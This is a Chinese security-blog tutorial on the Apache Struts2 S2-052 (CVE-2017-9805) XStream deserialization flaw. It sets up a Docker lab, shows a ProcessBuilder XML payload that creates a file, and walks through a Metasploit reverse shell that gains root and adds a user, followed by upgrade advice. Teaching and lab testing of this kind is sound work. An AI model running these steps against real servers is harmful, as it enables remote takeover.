您当前的位置: 首页 >  apache

合天网安实验室

暂无认证

  • 2浏览

    0关注

    748博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

Apache Struts2(S2-052)远程代码执行漏洞利用和修复建议

合天网安实验室 发布时间:2017-09-06 19:14:53 ,浏览量:2

点击“合天智汇”关注,学习网安干货

话说哥们正吃着火锅唱着歌呢~~

突然瞥见微信群的信息“Struts2 S2-052 RCE。。。。”

赶紧放下筷子瞅一眼,

这Struts2真是不让人省心啊,

又双叒叕的出漏洞了~~~

你说出漏洞就出漏洞吧,

动不动就是远程代码执行,

心脏不好的估计吓死好几回了。

先看看漏洞简介:

2017年9月5日,Apache Struts发布最新安全公告,Apache Struts2的REST插件存在远程代码执行的高危漏洞,该漏洞由lgtm.com的安全研究员汇报,漏洞编号为CVE-2017-9805(S2-052)。Struts2 REST插件的XStream组件存在反序列化漏洞,使用XStream组件对XML格式的数据包进行反序列化操作时,未对数据内容进行有效验证,存在安全隐患,可被远程攻击。

 

官方介绍在这里:https://struts.apache.org/docs/s2-052.html

其他介绍各大小安全资讯网站都有了,这里就不多介绍了。(我感觉他们的速度比香港记者还快)

 

0x01 漏洞环境搭建

这里我偷懒,就用Docker搭建了(前提是你得有Docker环境)

镜像提供感谢:GitHub - Medicean/VulApps

快速搭建各种漏洞环境(Various vulnerability environment) https://github.com/Medicean/VulApps

拉取镜像:

docker pull medicean/vulapps:s_struts2_s2-052

构建环境:

docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-052

 

这样两条命令就Ok了~~

 

0x02  漏洞利用

浏览器访问:http://ip/struts2-rest-showcase/

同时把抓包工具打开,Burpsuite 就行了。

然后随便选一个ID 进行 编辑,比如选 3 进行编辑,

改好之后点 Submit

这时候,抓包工具这边就获取到了数据包了

来重放这个数据包,不过要改点东西。

首先我们把 Content-Type 改成 application/xml

构建POST数据如下:

0 false 0 /usr/bin/touch/tmp/hahaha false java.lang.ProcessBuilder start foo foo false 0 0 false false 0

划重点:要执行的命令在这里:

/usr/bin/touch/tmp/hahaha

作用在目标上新建一个文件

先看看目标上的文件

然后我们提交构建好的POST数据包。

提交之后返回很多报错信息

赶紧去目标机上看看。

Duang~~成功了。

 

0x03 漏洞利用姿势之反弹shell

这里借用 https://github.com/wvu-r7 提供的利用脚本。

翠花,上酸菜,啊~~呸~~上MSF

 

先下载模块:https://github.com/wvu-r7/metasploit-framework/blob/5ea83fee5ee8c23ad95608b7e2022db5b48340ef/modules/exploits/multi/http/struts2_rest_xstream.rb

 

话说好像我的msf也是在Docker里面(看来我是够懒的~~/手动捂脸)

 

use exploit/multi/http/struts2_rest_xstream

看看设置的参数

还挺多,其实就设置好RHOST,RPORT和LHOST就行了。

然后 exploit ,见证奇迹的时候了

成功返回一个session

看看ip啥的吧

好嘛~~~root权限?

试试 新建用户 ?新建一个test的用户试试

目标机是否有test用户,目前是没有

试试吧

再看看:

Duang~~成功了。

更多利用姿势就靠各位大佬了~~~

0x03 修复建议

影响范围:Struts 2.5 – Struts 2.5.12 版本,据说还影响到 2.3.33 版本

修复方法:更新更新更新~~~升级Struts到2.5.13最新版本

临时修复:在不使用时删除StrutsREST插件,限制服务端扩展类型

在struts.xml配置文件中加入:

0x04:参考资料

【预警通告】Apache Struts2(S2-052)远程代码执行漏洞 | 绿盟科技博客 http://blog.nsfocus.net/s2-052-struts2-remote-code-execution-vulnerability-4

【9月6日更新】漏洞预警 | 高危Struts REST插件远程代码执行漏洞(S2-052) - FreeBuf.COM | 关注黑客与极客 

http://www.freebuf.com/vuls/146718.html

【漏洞公告】CVE-2017-9805:Struts2 REST插件远程执行命令漏洞(S2-052)|云安全 - 开发者论坛 https://bbs.aliyun.com/read/534776.html

别忘了投稿哟!!!

合天公众号开启原创投稿啦!!!

大家有好的技术原创文章。

欢迎投稿至邮箱:edu@heetian.com;

合天会根据文章的时效、新颖、文笔、实用等多方面评判给予100元-500元不等的稿费哟。

有才能的你快来投稿吧!

合天网安实验室

网址 : www.hetianlab.com

电话:4006-123-731

长按图片,据说只有颜值高的人才能识别哦→

关注
打赏
1665306545
查看更多评论
立即登录/注册

微信扫码登录

0.2353s